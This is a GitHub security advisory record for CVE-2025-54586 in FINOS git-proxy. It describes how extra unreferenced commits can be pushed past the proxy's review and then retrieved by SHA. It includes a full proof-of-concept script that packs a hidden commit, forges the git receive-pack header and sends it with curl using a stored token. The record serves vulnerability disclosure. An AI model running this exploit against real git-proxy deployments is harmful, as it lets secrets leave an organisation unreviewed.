{"id":"GHSA-v98g-8rqx-g93g","summary":"GitProxy Hidden Commits Injection","details":"### Summary\nAn attacker can inject extra commits into the pack sent to GitHub, commits that aren’t pointed to by any branch. Although these “hidden” commits never show up in the repository’s visible history, GitHub still serves them at their direct commit URLs. This lets an attacker exfiltrate sensitive data without ever leaving a trace in the branch view. We rate this a High‑impact vulnerability because it completely compromises repository confidentiality.\n\n### Details\n\nThe proxy currently trusts only the ref‑update line (`oldOid → newOid`) and doesn't inspect the packfile’s contents\n\nBecause the code only runs `git rev-list oldOid..newOid` to compute **introducedCommits** but **never** checks which commits actually arrived in the pack, a malicious client can append extra commits. Those “hidden” commits won’t be pointed to by any branch but GitHub still stores and serves them by SHA. \n\u003cimg width=\"2556\" height=\"744\" alt=\"Screenshot 2025-07-16 at 12 29 19\" src=\"https://github.com/user-attachments/assets/abf459a9-310b-4819-a989-797c7e871790\" /\u003e\n\n### PoC\n\n#### Prerequisites\n\n-   A GitHub Personal Access Token stored in `~/.github-test-pat`.\n-   A test repository also registered in git-proxy, e.g. `your-org/test-repo.git`, to which you have push rights.\n\n#### 1. Prepare the “visible” and “hidden” commits\n\n```bash\n# Clone the test repository\ngit clone http://localhost:8000/your-org/test-repo.git\ncd test-repo\n\n# 1. Record the original HEAD\nORIG_COMMIT=$(git rev-parse HEAD)\n\n# 2. Create branch 'foo' and add a visible commit\ngit checkout -b foo\necho \"visible commit\" \u003e\u003e file.txt\ngit add file.txt\ngit commit -m \"Visible commit\"\nVISIBLE_COMMIT=$(git rev-parse HEAD)\n\n# 3. Go back to the original commit and create a hidden-branch\ngit checkout $ORIG_COMMIT\ngit checkout -b hidden-branch\necho \"hidden change\" \u003e hidden.txt\ngit add hidden.txt\ngit commit -m \"Hidden commit\"\nHIDDEN_COMMIT=$(git rev-parse HEAD)\n\n# Return to 'foo'\ngit checkout foo\n```\n\n#### 2. Push only the visible commit to branch `foo`\n\n```bash\ngit push --set-upstream origin foo\n# An authorized user approves this push via your normal review workflow\n```\n\n#### 3. Build and push a pack containing the hidden commit\n\nCreate a script named `upload-pack.sh` (replace the placeholder variables with the SHAs you recorded above):\n\n```bash\n#!/usr/bin/env bash\nREMOTE_URL=\"http://localhost:8000/your-org/test-repo.git\"\nREF_NAME=\"refs/heads/foo\"\nORIG_COMMIT=\"\u003c\u003cORIG_COMMIT\u003e\u003e\"\nNEW_COMMIT=\"\u003c\u003cVISIBLE_COMMIT\u003e\u003e\"\nOLD_COMMIT=\"0000000000000000000000000000000000000000\"\nHIDDEN_COMMIT=\"\u003c\u003cHIDDEN_COMMIT\u003e\u003e\"\n\n# 1. List all objects for the visible and hidden commits\ngit rev-list --objects --no-object-names \"^${ORIG_COMMIT}\" ${NEW_COMMIT} \u003e objects.txt\ngit rev-list --objects --no-object-names \"^${ORIG_COMMIT}\" ${HIDDEN_COMMIT} \u003e\u003e objects.txt\n\n# 2. Pack them into a single packfile\ncat objects.txt\ngit pack-objects --stdout \u003c objects.txt \u003e packfile\n\n# 3. Construct the Git smart‑protocol update header\nprintf \"${OLD_COMMIT} ${NEW_COMMIT} ${REF_NAME}\\0 report-status-v2 side-band-64k object-format=sha1 agent=git/2.39.5\" \u003e update_line\nUPDATE_LINE_LEN=\"$(wc -c \u003c update_line)\"\n\nprintf \"%04x\" $((UPDATE_LINE_LEN + 4)) \u003e output\ncat update_line \u003e\u003e output\n\n# Git smart protocol expects a flush packet\nPKT_FLUSH=\"0000\"\nprintf \"%s\" \"${PKT_FLUSH}\" \u003e\u003e output\n\n# Append the packfile\ncat packfile \u003e\u003e output\n\n# 4. Send the malicious push via curl\ncurl -u ${USER}:\"$(\u003c~/.github-test-pat)\" \\\n  -X POST \"${REMOTE_URL}/git-receive-pack\" \\\n  -H \"Content-Type: application/x-git-receive-pack-request\" \\\n  -H \"Accept: application/x-git-receive-pack-result\" \\\n  --user-agent \"git/2.42.0\" \\\n  --data-binary @output | cat -v\n```\n\nMake it executable:\n\n```bash\nchmod +x upload-pack.sh\n```\n\nRun it:\n\n```bash\n./upload-pack.sh\n```\n\n#### 4. Verify the hidden commit\n\nOpen in your browser (or via `curl`):\n\n```\nhttps://github.com/your-org/test-repo/commit/\u003c\u003cHIDDEN_COMMIT\u003e\u003e\n```\n\nYou will see the **“Hidden commit”**, even though it is not referenced by any branch.\n\n### Impact\n- **Data Exfiltration (Confidentiality breach):**  \n  Attackers can inject secrets, credentials, or proprietary data into any repository they push to via git-proxy.\n\n- **Undetectable in UI:**  \n  Since the hidden commits never appear in branch graphs, standard code review will not surface them.\n\n- **Persistence Window:**  \n  GitHub retains unreferenced objects for a period long enough to allow automated retrieval before garbage‑collecting them.","aliases":["CVE-2025-54586"],"modified":"2025-07-31T12:02:22Z","published":"2025-07-30T16:40:40Z","database_specific":{"cwe_ids":["CWE-200"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2025-07-30T16:40:40Z","nvd_published_at":"2025-07-30T22:15:25Z"},"references":[{"type":"WEB","url":"https://github.com/finos/git-proxy/security/advisories/GHSA-v98g-8rqx-g93g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-54586"},{"type":"WEB","url":"https://github.com/finos/git-proxy/commit/9c1449f4ec37d2d1f3edf4328bc3757e8dba2110"},{"type":"WEB","url":"https://github.com/finos/git-proxy/commit/a620a2f33c39c78e01783a274580bf822af3cc3a"},{"type":"PACKAGE","url":"https://github.com/finos/git-proxy"},{"type":"WEB","url":"https://github.com/finos/git-proxy/releases/tag/v1.19.2"}],"affected":[{"package":{"name":"@finos/git-proxy","ecosystem":"npm","purl":"pkg:npm/%40finos/git-proxy"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.19.2"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 1.19.1","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/07/GHSA-v98g-8rqx-g93g/GHSA-v98g-8rqx-g93g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N"}]}